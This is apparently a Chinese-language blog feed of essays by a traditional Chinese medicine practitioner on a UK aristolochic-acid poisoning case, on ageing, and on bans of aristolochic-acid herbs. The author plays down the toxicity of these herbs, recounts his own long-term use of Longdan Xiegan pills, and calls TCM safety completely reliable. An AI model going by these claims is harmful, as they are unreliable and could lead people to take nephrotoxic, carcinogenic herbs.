筆者以爲，醫生的崇高身份與職業道德非常重要，不應該容許金錢來褻瀆。身為中醫業者，我們必須了解自己所施用藥物的潛在危險，必須以維護患者身體健康為主要宗旨。因而從專業的角度來看，吳某起碼並不具備中醫臨床業者所需要具備的專業知識，其雖然具備合法的中醫行醫資格，但不能被稱做合格的中醫師。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而且吳某對於馬兜鈴酸中毒的新聞報導處之漠然的態度有點令人驚詫，可以說亂用中藥導致馬兜鈴酸中毒的臨床案例層出不窮，相關的新聞報導比比皆是。中國大陸關於不少人由於將龍膽瀉肝丸當作健康食品長期服用而導致出現腎衰竭的報導常常見於報刊雜誌，英國《探針》雜誌也曾經報導過某華人爲了預防與消除肝臟之毒、自行長期服用龍膽瀉肝丸5年，從而導致出現腎衰竭與膀胱腫瘤。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
對於上述警訊吳某非但沒有引以爲戒，甚至竟然在臨床上毫不負責任地欺騙患者，她在廣告詞中信口雌黃，胡説什麽她所使用的這種藥物“安全和自然”。事實上我們中醫師都知道，任何一味中藥雖然源自於自然，但將其用於臨床治病必然存在一定的危險，如若運用不當，都有可能讓患者中毒；可以說如若使用者缺乏中醫藥知識的指導，中藥的使用不可能存在絕對的安全。<span id="more-301"></span><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由於醫學學術認知的差異，中藥中毒的中醫學術規律常常不容易被人們所理解與認同，也正因爲如此，許多人都會以西藥的成分檢測標準來審視中藥，因而只要是出現中藥中毒事故，人們一般都會依照中藥所含毒性成分的規律來看待。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，依據這種認知來使用中藥是比較危險的，尤其是使用那些並不具備毒性成分的中藥時，很多人往往都會由於存在這種錯誤的認知而放鬆警惕。筆者常常看到某些市井雜誌中依據西醫的藥理觀來分析中藥的藥理成分、及其所謂的養生功效，看後不禁既好笑、又好氣，其胡謅、誤人的程度的確令人擔心。<br />
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譬如他們在論及中藥羅漢果的功效時，說其所含糖分適合糖尿病患者食用，因而鼓吹人人都可常年服用而對於身體極爲有益。這些都是誤人之說，屬於極爲荒謬的[中西醫結合]論話語，如若人們不幸遵從這類不負責任的鬼話去做，只會損傷自己的身體。<br />
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中醫理論認爲，羅漢果味甘，具備清肺止咳，潤腸通便的功效，適用於乾咳、咽痛、便秘等熱性病態體徵；不過由於該藥性涼，如若用於寒性病態體質、或者健康者長期服用，必定傷其陽氣而罹患疾病。<br />
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如若勉強將中西醫學術概念牽強附會在一起來討論的話，Ⅰ型糖尿病患者多屬於陰虛體徵，尚可服用一段時間；而Ⅱ型糖尿病患者則多屬於陽虛體徵，久服既傷其陽氣，其滋潤陰液的作用還會導致患者越來越肥。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，這樣一類荒謬的説辭頗爲多見，只要翻開相關中文雜誌，就可以看到許多這類“專家”如此誤導讀者；問題是這些似是而非的東西很符合現代人的口味，因而很容易迷惑某些渴望健康的消費者，從而使得他們莫名其妙地受到身體體質上的傷害。事實上，這類謬論基本上都屬於依據非中醫學術觀談論中醫藥，其站的角度本身就是錯誤的，故而可以稱其為違背醫學學術規律的誤人之說。<br />
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事實上，自然界絕大多數的中藥與食品都含有對於人體十分有益的成分，即使肥豬肉亦然；只不過要懂得辨別適不適合自己而已，如若適合，則為有益於身體的養生之品；如若不適合、甚至虛實、寒熱特性相反，則必然會對於身體產生負面作用。<br />
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而且依據中醫的學術理論，人的身體狀況時刻都是在變化著的，經過一段時間的中藥與食品的調節，機體的辨證體徵一定會發生相應的變化，此時的虛實、寒熱體徵是否適合於繼續原來的調節措施並不一定。<br />
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所以說，吳某給患者連續5年服用那種苦寒之品的做法嚴重地違背著中醫藥使用的學術規律；因而可以說，吳某由於並不具備中藥運用的基本知識，才會出現上述誤導患者而產生的醫療事故。<br />
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關於吳某案件的報導引述倫敦刑事法庭法官的話說：由於對中醫中藥安全性完全缺乏管理，所以沒有證據證明被告吳某當時了解這種藥物存在的潛在危險。由此可以認爲，吳某所導致的醫療事故應該有可能被認作為非蓄意傷人。<br />
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可以想象，在對簿法庭時，吳某當然不會承認自己存在蓄意欺騙問題，因爲那樣會將自己推向蓄意傷人的可怕法律程序；所以她會選擇自己並不懂得長期服用馬兜鈴酸會導致腎衰竭的學術規律這種非蓄意肇因。不過即便如此，她也無法擺脫自己不專業、不夠資格當一名中醫師的尷尬境地。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
當然，西方法律的認知與中醫學術的認知相差很大，關於吳某的案件，法律只會以非法出售有毒藥物而導致患者中毒等方面來追究吳某的法律責任。顯然，西方的法律並沒有認同中醫為一門獨立的醫學體系，因而在西方人眼裏，中醫藥療法僅僅只是一種臨床治療方法、而中藥也只是屬於食品類管理的一些食物而已，故而銷售有毒中藥就等於違犯了食品管理法則，就是有罪。<br />
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因此西方法律條文與中醫學術認知之間存在著難以調和的差距。從法律的角度來説，吳某的罪責只是在於不應該銷售被禁有毒藥物而已，又由於被告不了解所用藥物的潛在毒性，因此只能予以輕罪論處。有鑒於此，筆者以爲，目前西方的法律還不足以應對中醫藥臨床所出現的許多問題，更無法杜絕中藥中毒事故的頻繁發生。<br />
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顯然，吳某的個案並非只有吳某一個人才會發生，我們每一位中醫師都應該從此案中認識到掌握中醫學術理論的重要性，尤其是在經過[中西醫結合]思維泛濫幾十年之後的今天，傳統的中醫藥學術理論被污染得較爲嚴重，因而將自己重新歸位而進入傳統的中醫藥學殿堂、是我們每一位致力於中醫事業的中醫業者畢生努力的最終目標。<br />
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正如前述，中醫的學術規律提示我們，中藥是否含有毒性成分的問題其實並不重要，而“藥不對證”的問題倒是導致不同程度中毒現象出現的主要原因，這個問題屬於中醫藥學説學術架構中無法迴避的重要問題。中藥雖然源自大自然，但中藥畢竟屬於中醫的臨床用藥，其使用必須依據[辨證論治]的中醫藥臨床治則，根本就不應該歸於食品類來管理。<br />
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當然，目前的西方法律無法認定中藥屬於藥物，因爲藥物的使用權只能歸屬於西醫醫生，其根本原因在於法律只認定西醫為醫學，而中醫僅僅只屬於“療法”而已。所以說只有爭取到中醫專業法定的學術地位，那麽，中醫藥療法才有可能成爲中醫專業所專用的治療方法，中藥也就理所當然地成爲中醫專業所專用的藥物，似此，中醫師使用中藥也就不存在“銷售有毒藥物”之類的罪責問題。<br />
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上述顯示，西方目前的法律認知遠遠落後於中醫專業的發展趨勢，因而這類法律的認知也不可能解決中藥中毒的臨床痼疾，可以想象到的結果還是中藥中毒的臨床事故頻頻發生；尤其是[中西醫結合]論的泛濫，人們多從西醫西藥的角度來奢談與看待中醫藥，因而必然會導致更多的中藥中毒事故的發生。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
總而言之，我們應該從英國法律懲罰吳某的事件之中得到警示，由於缺乏相關的法律保護，中醫藥療法目前仍然還是游走在法律的邊緣，我們中醫業者很容易觸犯到西方的法律規範；只有謹守中醫的各種學術規範，中醫臨床才不會出現上述醫療事故問題。其實這個道理十分簡單，因爲中醫藥療法的學術規範不是某個人人爲制定出來的，而是前人幾千年來的臨床經驗總結，其安全性與有效性是完全可靠的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
吳某的個案表明，中藥中毒問題的根子依然還是在於中醫藥的管理，只有爭取到法律確認中醫藥醫學體系的學術地位，方為解決中藥中毒問題的根本之道。有了法律的地位，就能夠將中藥列爲中醫師的臨床專用藥物來管理，就能夠杜絕非中醫業者亂用中藥而導致中毒的現象發生；有了法律的規範，中醫業者的專業素質就能夠具備相當的保證，就能夠使得中醫師隊伍中減少像吳某這樣一類的“醫商”、從而出現更多名副其實的中醫大師；似此，患者的健康纔有保障，而發展中醫事業才不會是一句空話。</span></p>
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		<title>談不服老</title>
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		<pubDate>Sun, 07 Mar 2010 02:29:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 在人的一生中，生老病死屬於很自然的生活現象。古人曾云“人生七十古來稀”，但隨著生活水平的提升，現代人能夠活到70歲以上已經不是什麽新鮮事了。 我們知道，老年人所受到的最大困擾是“失落感”的問題，這種感覺主要是由於老人社會角色的轉換和身體的衰退所導致的。由於社會角色和生活節奏的改變，退休之後的老年人會感到無所事事，再加上與子女的交流和與社會的接觸日益減少，因而對於社會的變化不太能夠適應。其次，隨著年齡的增長，除了身體的臟腑器官功能明顯下降以外，許多老年人還患有慢性退化性疾病，由此也會產生強烈的失落感。面對著這麽許多問題，一些老年人常常會感到失去得太多，不知道如何去看待；因而有些老人會變得脾氣暴躁，有些老人會變得多疑，有些老人會變得鬱鬱寡歡。客觀來説，上述這種老人現象的出現既傷害著老年人，也同樣傷害著自己的家人；因此如何解決這種現象應該是個較爲重要的問題。 筆者在臨床中發現，許多老年人由於覺得自己的問題主要是由於年老所導致的，因而總是想迴避這個問題，生怕人家提到老年方面的問題。當然，這種觀念是不恰當的，因爲這個問題是任何人都迴避不了的。事實上，老年人的生活宗旨應該是能夠勇於面對自己的老年問題，既然迴避不了，根本就無需迴避。跨入老年階段，只要能夠做到自己在心理上不服老就行了。 《紅樓夢》一書中黛玉葬花的情節人們都很清楚，花開花落的自然現象，在書中被人們描述成“憐人”或者“自憐”的消極情感。筆者以為，對於人體健康來説這種“憐”之類的消極情緒一點也不可愛，尤其不適合於老年人。其實我們許多老年人本身就不喜歡過秋天，因爲他們一看到秋風掃落葉的情景就會觸景生情，會覺得自己來日已經不多而感傷。這種失落情緒是有害健康的。這種現象並不少見，有些老年人在工作場合中幹勁十足，身體健康；但是當他一退休下來就感到非常失落而不知所措，許多人就是拜這種情緒所賜而過早地歸去。實施上這種感傷是毫無意義的，我們每個人都應該成爲自己生活的主導者，不要因爲這種失落情緒而使自己受到傷害。 面對這種狀況，很多長者會奮起抗爭，他們有時會用較爲鮮豔的服飾來裝扮自己，以表示自己還沒有衰老。事實上，如若抗爭者這樣做的目的僅僅只是為了向外界顯示自己不老的話，那麽這樣做的意義就不是很大，因爲在他們的内心深處依然還是失落和感傷，只不過自己不願意公開承認而已。顯然，這種被動的抗爭並不説明自己在思維上的超脫。 記得有段打油詩是這麽寫的：“人見白頭悲，我見白頭喜，多少少年兒，不到白頭死。”筆者看來，這段詩句倒是非常灑脫，看得很是透徹。不是嗎？對於那些早死的“少年兒”來説，能夠活到老年的您該是多麽的幸運啊！俗話説“人生自古誰無死（不老）”，古往今來，多少帝王將相、才子佳人，有誰能夠擺脫不老的命運？至於那些修煉成仙的人，我們只是通過流傳的故事方才得知，並沒有人真正見過，或許這種美好的傳説只是古人對於不老的憧憬吧？！ 其實年老一點也不可悲，可悲的是您的心態變老。應該想想幾十年來，您已經為社會創造了不少財富，您也體現出了自己的價值，這些都應該被看作成爲自己可以驕傲的資本。而且孩子們也已經長大了，理所當然地應該交班給他們，這不正是自己撫育和培養孩子的目的嗎？所以說老年人應該將這些都當作自己價值的體現，所有這些難道還不值得您自豪嗎？因此，處於老年狀態的人應該學會懂得滿足，應該為自己能夠因爲長壽而邁入到老年人的隊伍感到高興。同時，還應該學會享受生活，努力在老年的日常生活中找尋自己的樂處。這樣做不但能夠使得自己身心愉快，而且也會使得孩子們能夠放心去努力工作。 其實一個人能夠活多久並不重要，重要的是能夠活得開心，活得健康。當然，健康必須通過自己的努力來爭取，豁達的心境是健康的重要條件，而學會滿足是使自己能夠開心的關鍵之所在。筆者的許多老年客人，他們充分利用社會所提供的各種有利條件，學習書法、插花、雕塑；有的三五成群地聚會公園，遊逛商場，有限度地打打麻將，甚至外出旅遊，他們生活得悠哉閑哉，很是開心；有些老人甚至還在為社會作些力所能及的公益活動。筆者有位客人將自己親手做的一匹奔馬雕塑送到診所，其態較爲逼真，如果不是看到上面的題字，筆者還真不敢相信那是她自己做的。 筆者觀察到，這些老人有個共同的特點，就是根本不在意歲月的流逝；這種人生觀是非常積極的，筆者十分推崇。事實上，只有持有這種生活理念的人才能真正地享受生活，大凡具備這種理念的老人基本上都能夠達到身心健康的境界；而能夠達到這種境界者的重要標誌，就是會老得比較慢。總之，學會滿足，享受生活，應該作爲老年人生活的宗旨，有了健康的生活心態，就不存在怕不怕老，或服不服老的問題。 然而筆者以為，在不服老的問題上，老年人還必須正視自己的身體已經衰老的現實；許多人由於不了解這一點，常常會使得自己的身體受著“年輕”心態的“摧殘”。記得當年筆者在深圳工作時，有位軍隊系統的老幹部曾對筆者說：“吳醫生，我覺得自己還能夠在單杠上轉圈呢。”筆者聽後很平淡地回答說：“有這種心態很好，但千萬不要去轉”。“爲什麽？”“因爲您的身體承受不住，弄不好會骨折。”老年人必須注意的是，心態應該年輕，但身體已經老化也是事實，不管您願不願意面對，只要您去做超過自己身體所能夠承擔的工作和運動，必然就會使得身體受到傷害。正因爲如此，筆者常常會不同意患有膝痛的客人去打太極拳，因爲老年人筋骨相對衰弱，單腳立地的傾斜姿勢很容易重新損傷並不強壯的膝關節。老年人由於心臟功能較差，也不適宜做那些劇烈的運動（長期運動者除外），最好還是進行一些諸如游泳、散步、慢跑等較爲和緩的運動，以免傷害到自己的身體。 此外，由於能夠了解自己身體已經老化的事實，人們就會很謹慎地進行呵護而避免損傷，就會懂得如何去珍惜和保養它。除了保持正常的生活習慣以外，老年人還可以借助中醫中藥的幫助來保養身體。由於中醫屬於身體的整體調節療法，可以起到幫助老年人增強體質和延緩衰老的作用。 綜上所述，老年人在心態上要有不服老的精神，可以幹些力所能及的事情；精神有了寄托就會活得很愉快，很滿足，就不會無聊到只是數著日子、等待走上黃泉之路的地步。但是“好漢不言當年勇”，老年人在身體上應該“服老”，要認識清楚自己的身體已經老化的事實，力所不能及的事情千萬不要去蠻幹，否則吃虧的還是自己。很多人常常容易忽視這個問題，總是想像著自己能夠像年輕的時候那樣幹這幹那，最後卻發現自己已經力所不能及，於是又很容易產生“廉頗老矣”的沮傷心態。 此外，有些衰老問題需要自己去想辦法克服，譬如很多老人容易把鑰匙鎖進屋裏或者車裏。既然自己的記憶力差，就應該養成某個好的習慣，如若您習慣於在鎖門或鎖車之前摸一摸鑰匙的話，就不會出現上述狀況；如若您能夠養成將一些常用的東西分門別類地放在某個特定地方的習慣，您也不會為找東西而耽誤大半天時間。要知道經常發生由於記憶力較差而誤事的狀況同樣也會令人沮傷。 對於老年人來説，“服不服老”的問題是一個很重要的問題，應該懂得“在心態上不能服老，但在身體上還是應該服老”的道理。對於這個問題千萬不可弄反，如若搞成了“心態上服老，而身體上卻不服老”的話，肯定會使自己老得特別快。]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
在人的一生中，生老病死屬於很自然的生活現象。古人曾云“人生七十古來稀”，但隨著生活水平的提升，現代人能夠活到70歲以上已經不是什麽新鮮事了。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
    我們知道，老年人所受到的最大困擾是“失落感”的問題，這種感覺主要是由於老人社會角色的轉換和身體的衰退所導致的。由於社會角色和生活節奏的改變，退休之後的老年人會感到無所事事，再加上與子女的交流和與社會的接觸日益減少，因而對於社會的變化不太能夠適應。其次，隨著年齡的增長，除了身體的臟腑器官功能明顯下降以外，許多老年人還患有慢性退化性疾病，由此也會產生強烈的失落感。面對著這麽許多問題，一些老年人常常會感到失去得太多，不知道如何去看待；因而有些老人會變得脾氣暴躁，有些老人會變得多疑，有些老人會變得鬱鬱寡歡。客觀來説，上述這種老人現象的出現既傷害著老年人，也同樣傷害著自己的家人；因此如何解決這種現象應該是個較爲重要的問題。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者在臨床中發現，許多老年人由於覺得自己的問題主要是由於年老所導致的，因而總是想迴避這個問題，生怕人家提到老年方面的問題。當然，這種觀念是不恰當的，因爲這個問題是任何人都迴避不了的。事實上，老年人的生活宗旨應該是能夠勇於面對自己的老年問題，既然迴避不了，根本就無需迴避。跨入老年階段，只要能夠做到自己在心理上不服老就行了。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
《紅樓夢》一書中黛玉葬花的情節人們都很清楚，花開花落的自然現象，在書中被人們描述成“憐人”或者“自憐”的消極情感。筆者以為，對於人體健康來説這種“憐”之類的消極情緒一點也不可愛，尤其不適合於老年人。其實我們許多老年人本身就不喜歡過秋天，因爲他們一看到秋風掃落葉的情景就會觸景生情，會覺得自己來日已經不多而感傷。這種失落情緒是有害健康的。這種現象並不少見，有些老年人在工作場合中幹勁十足，身體健康；但是當他一退休下來就感到非常失落而不知所措，許多人就是拜這種情緒所賜而過早地歸去。實施上這種感傷是毫無意義的，我們每個人都應該成爲自己生活的主導者，不要因爲這種失落情緒而使自己受到傷害。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
    面對這種狀況，很多長者會奮起抗爭，他們有時會用較爲鮮豔的服飾來裝扮自己，以表示自己還沒有衰老。事實上，如若抗爭者這樣做的目的僅僅只是為了向外界顯示自己不老的話，那麽這樣做的意義就不是很大，因爲在他們的内心深處依然還是失落和感傷，只不過自己不願意公開承認而已。顯然，這種被動的抗爭並不説明自己在思維上的超脫。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
    記得有段打油詩是這麽寫的：“人見白頭悲，我見白頭喜，多少少年兒，不到白頭死。”筆者看來，這段詩句倒是非常灑脫，看得很是透徹。不是嗎？對於那些早死的“少年兒”來説，能夠活到老年的您該是多麽的幸運啊！俗話説“人生自古誰無死（不老）”，古往今來，多少帝王將相、才子佳人，有誰能夠擺脫不老的命運？至於那些修煉成仙的人，我們只是通過流傳的故事方才得知，並沒有人真正見過，或許這種美好的傳説只是古人對於不老的憧憬吧？！<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
其實年老一點也不可悲，可悲的是您的心態變老。應該想想幾十年來，您已經為社會創造了不少財富，您也體現出了自己的價值，這些都應該被看作成爲自己可以驕傲的資本。而且孩子們也已經長大了，理所當然地應該交班給他們，這不正是自己撫育和培養孩子的目的嗎？所以說老年人應該將這些都當作自己價值的體現，所有這些難道還不值得您自豪嗎？因此，處於老年狀態的人應該學會懂得滿足，應該為自己能夠因爲長壽而邁入到老年人的隊伍感到高興。同時，還應該學會享受生活，努力在老年的日常生活中找尋自己的樂處。這樣做不但能夠使得自己身心愉快，而且也會使得孩子們能夠放心去努力工作。<span id="more-300"></span><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
其實一個人能夠活多久並不重要，重要的是能夠活得開心，活得健康。當然，健康必須通過自己的努力來爭取，豁達的心境是健康的重要條件，而學會滿足是使自己能夠開心的關鍵之所在。筆者的許多老年客人，他們充分利用社會所提供的各種有利條件，學習書法、插花、雕塑；有的三五成群地聚會公園，遊逛商場，有限度地打打麻將，甚至外出旅遊，他們生活得悠哉閑哉，很是開心；有些老人甚至還在為社會作些力所能及的公益活動。筆者有位客人將自己親手做的一匹奔馬雕塑送到診所，其態較爲逼真，如果不是看到上面的題字，筆者還真不敢相信那是她自己做的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者觀察到，這些老人有個共同的特點，就是根本不在意歲月的流逝；這種人生觀是非常積極的，筆者十分推崇。事實上，只有持有這種生活理念的人才能真正地享受生活，大凡具備這種理念的老人基本上都能夠達到身心健康的境界；而能夠達到這種境界者的重要標誌，就是會老得比較慢。總之，學會滿足，享受生活，應該作爲老年人生活的宗旨，有了健康的生活心態，就不存在怕不怕老，或服不服老的問題。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
    然而筆者以為，在不服老的問題上，老年人還必須正視自己的身體已經衰老的現實；許多人由於不了解這一點，常常會使得自己的身體受著“年輕”心態的“摧殘”。記得當年筆者在深圳工作時，有位軍隊系統的老幹部曾對筆者說：“吳醫生，我覺得自己還能夠在單杠上轉圈呢。”筆者聽後很平淡地回答說：“有這種心態很好，但千萬不要去轉”。“爲什麽？”“因爲您的身體承受不住，弄不好會骨折。”老年人必須注意的是，心態應該年輕，但身體已經老化也是事實，不管您願不願意面對，只要您去做超過自己身體所能夠承擔的工作和運動，必然就會使得身體受到傷害。正因爲如此，筆者常常會不同意患有膝痛的客人去打太極拳，因爲老年人筋骨相對衰弱，單腳立地的傾斜姿勢很容易重新損傷並不強壯的膝關節。老年人由於心臟功能較差，也不適宜做那些劇烈的運動（長期運動者除外），最好還是進行一些諸如游泳、散步、慢跑等較爲和緩的運動，以免傷害到自己的身體。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外，由於能夠了解自己身體已經老化的事實，人們就會很謹慎地進行呵護而避免損傷，就會懂得如何去珍惜和保養它。除了保持正常的生活習慣以外，老年人還可以借助中醫中藥的幫助來保養身體。由於中醫屬於身體的整體調節療法，可以起到幫助老年人增強體質和延緩衰老的作用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
    綜上所述，老年人在心態上要有不服老的精神，可以幹些力所能及的事情；精神有了寄托就會活得很愉快，很滿足，就不會無聊到只是數著日子、等待走上黃泉之路的地步。但是“好漢不言當年勇”，老年人在身體上應該“服老”，要認識清楚自己的身體已經老化的事實，力所不能及的事情千萬不要去蠻幹，否則吃虧的還是自己。很多人常常容易忽視這個問題，總是想像著自己能夠像年輕的時候那樣幹這幹那，最後卻發現自己已經力所不能及，於是又很容易產生“廉頗老矣”的沮傷心態。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
此外，有些衰老問題需要自己去想辦法克服，譬如很多老人容易把鑰匙鎖進屋裏或者車裏。既然自己的記憶力差，就應該養成某個好的習慣，如若您習慣於在鎖門或鎖車之前摸一摸鑰匙的話，就不會出現上述狀況；如若您能夠養成將一些常用的東西分門別類地放在某個特定地方的習慣，您也不會為找東西而耽誤大半天時間。要知道經常發生由於記憶力較差而誤事的狀況同樣也會令人沮傷。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
對於老年人來説，“服不服老”的問題是一個很重要的問題，應該懂得“在心態上不能服老，但在身體上還是應該服老”的道理。對於這個問題千萬不可弄反，如若搞成了“心態上服老，而身體上卻不服老”的話，肯定會使自己老得特別快。</span></p>
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		<title>削足適履的迷思</title>
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		<pubDate>Sun, 03 Jan 2010 18:22:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 ● 盲目跟風的迷思 九十年代初期在比利時所發生的大面積中藥中毒的醫療事故曾經震撼世界。當時某西醫在根本就不懂得中藥使用知識的情況下，盲目使用防己、木通等中藥組方成爲“苗條丸”、並運用於臨床減肥治療；由於長期不當服用，出現174名患者中的70人罹患腎衰竭，1人死亡的慘劇。 然而令人窒息的是，人們非但沒有追究肇事者不遵循中藥使用規範而亂用中藥的可恥行徑，卻將事故的主要根源歸咎於中藥的毒性，甚至極不公平地將其稱之爲“中草藥腎病”。2000年6月美國FDA因此而大量限制“含有馬兜鈴酸”中藥的進口與使用（摘自《中醫戰略》）。 筆者以爲，FDA的限制決定既是合法的，也是荒唐的。說起合法，是指其依據為美國對於中藥管理的法律技術界定。我們知道，中藥在美國並不屬於藥物，而是食品。既為食品，當然就不允許含有任何毒性物質，因而可以說FDA的限制是合法的。 然而中藥畢竟是藥，是中醫師臨床治病所使用的藥物。幾千年來，中藥的臨床應用累積著極爲完善的使用規律，使得中藥成爲既十分有效、又十分安全的臨床用藥。很顯然，“藥之害在醫不在藥”，上述所謂“中草藥腎病”的問題應該出在肇事者身上，而絕不應該是中藥的本身。 事實上，中醫藥理論並不認爲防己、木通等中藥具備減肥的功效，而且防己、木通等中藥關於“不得大量長期服用”的臨床規範早就在中醫藥典中有著明文規定。由此可見，“中草藥腎病”的發生源頭不應該算在中藥本身所含的毒性成分問題上，而應該歸咎於非中醫專業者不當使用中藥。其實任何中藥，如若使用者不具備中醫學術理論的指導，即使不含毒性的許多中藥（如冬蟲夏草、人參等），使用不當都有可能出現毒性反應。 在美國與歐洲等地區，法律明文規定西醫纔是醫學，醫學就等同於西醫。如若將中藥歸類為藥物的範疇，依據法律也就只有西醫醫生才有資格使用；如此一來，中醫師也就必然失去使用中藥的資格。然而，西醫師由於不懂得中藥的使用規律，也只好按照西藥的用藥法則加以運用；如此這般，類似“中草藥腎病”的中藥中毒事故依然仍會不斷出現。 所以說，所謂“中草藥腎病”所提示的問題在於中醫療法缺乏適當的管理規範。在目前的條件之下，無論是將中藥歸類於食品類管理，還是歸類於藥品類管理，都會導致中藥中毒事故的發生。所以說在西方社會的法律規範之下，FDA的管理措施雖然不存在法律上的錯誤，但仍舊無法解決中藥中毒醫療事故的發生。 依據中醫藥的學術規律，中醫學說應該歸類為另類醫學、而不是另類療法；由於屬於不同於西醫的醫學學術體系，就應該理所當然地依照中醫的學術規範使用中醫藥療法。似此，中藥的定位也就必須有著相應的管理措施，所有的中藥都應該像西藥一樣管理嚴格起來，所有不具備中醫學識的臨床醫生都不得隨意使用，所有含有毒性（包括大毒、小毒）的中藥都必須依據中醫業者的處方方能出售使用。如此一來，中藥就能夠規範在中醫的學術指導下合理使用，從而可以從根本上杜絕由於濫用中藥而出現中藥中毒事故。 反觀中國大陸與臺灣，當西方世界因“中草藥腎病”而掀起禁用含有馬兜鈴酸的許多中藥時，竟然也會盲目地跟風而動，不但無理地將廣防己、青木香、關木通、馬兜鈴、天仙藤等中藥從中醫藥典中剔除，甚至還要“株連九族”，連川貝枇杷膏、止嗽散、健胃散等大大小小69種中藥方劑也不放過，全面禁用。 近期在中國中藥市場，龍膽瀉肝丸等中成藥也被政府禁用，許多迫切需要該藥治病的患者因爲無法得到而導致病情加劇。我們知道，龍膽瀉肝丸中雖然含有具有馬兜鈴酸成分的木通，但是短期用於消除肝膽經實熱證並無大礙，筆者自己都經常間斷性地服用來調節身體，幾十年下來，不但沒有因此而中毒，反而由於肝膽經實（濕）熱的驅除而感到身體十分舒適。 而且依據筆者的學術認知，肝膽經實（濕）熱的存在，很容易導致機體出現癌症、心腦血管疾病等絕症；當身體初現肝膽經實（濕）熱證型（包括眩暈頭痛、口苦咽乾、脅肋疼痛、煩躁易怒、小便黃赤、或身困乏力等症）時，服用幾粒龍膽瀉肝丸即可明顯改善。事實上，龍膽瀉肝丸的臨床治病與保健的功效是不可否認的。 本來，政府對於危害人民健康的藥品進行管制，應該是無可厚非的，但問題是藥品禁用是否合理合法。的確，上述藥品含有馬兜鈴酸，大量而長期應用有可能導致腎衰竭；但是作爲中醫藥療法出產地的中國兩岸當局，竟然不去分辨“中草藥腎病”的實質根源在哪裏，竟然還會跟在西方世界的屁股後面揮舞屠刀，真的是令人跌破眼鏡。 由於文化的差異，西方世界並沒有真正認識中醫學說，因而只會將中藥當作食物、或者西藥來看待。而且西方的法律還沒有承認中醫為醫學學術體系，因此不允許西藥之外的“中藥”存在，以致出現上述那種對於中藥的荒唐認知。 但在中國大陸與臺灣，使用中醫藥的歷史可以追朔到幾千年前，廣大民衆對於中藥的臨床效用及其安全性都有著一定的認知，基本上懂得一些“中藥不是西藥、也不是食品”的道理。只是由於[中西醫結合]運動的學術污染，才使得人們對於中西醫的學術理念混淆不清，以致誤將中藥當作西藥、或者食品來使用，從而釀成許多中藥中毒的醫療事故。 在中國，法律已經規定中醫作爲一門醫學體系而存在的正當性，因而中醫師使用上述中藥的權利完全應該受到法律的保護。但在某些執法者看來，卻全然不是那麽一回事；或許他們根本就不懂得中國與外國的法律不一樣，以爲洋人的科學技術如此發達，只要是他們認爲不能使用的中藥就一定不能使用，因而就毫無道理地以管理來代替法律，以至剝奪了廣大患者與中醫業者使用上述中藥的權力。 然而中國不是美國，由於中藥在美國只是定位為食品，因而不允許其中含有毒性成分，凡是使用有毒中藥都應該屬於違法。但在中國，一則有著“發展傳統醫學”的憲法保護，二則大部分民衆都了解中藥的臨床效用及其安全性，因此，即使使用有毒中藥治病，也應該屬於合法的。國情如此不一，如何能夠照搬跟風？如若依據法律的理念，這種跟風行為已經違背著中國憲法第21條“發展傳統醫學”的規定。 中國醫學部門的管理者不會沒有注意到，西藥中具有大量的毒性藥品，而且其中有些比起上述中藥的毒性可以說大得多。譬如西藥嗎啡、杜冷丁為大毒品，爲什麽管理者們不予禁用呢？是不是只是因爲西方世界還沒打算禁用的原因呢？説到底，這種禁令是有選擇性的，或許主要還是因爲洋大人們決定禁止，所以他們才會跟著發出禁令。 當然，對於做出上述這種歧視性的決定筆者完全能夠理解，因爲管理者對於中醫藥學的知識實在太過貧乏，他們這種毫不尊重中醫藥學術理念的管理思維也已經顯示出他們缺乏應有的職業管理水準；可以預計，如若依靠這些人來管理中醫藥必然會將中醫事業逐漸拖垮。 今天他們可以跟風禁止上述5味中藥，明天他們同樣可能跟風禁止其他含有某种毒副作用成分的中藥，不需要多少時日，這些應聲蟲們將會使得臨床中醫師沒有中藥可用，屆時，那些中醫藥典只能當作輝煌的中國文化證物儲存於博物館之内，那些患者們所急需的有效中藥也只能當作雜草廢物一般地處理掉。 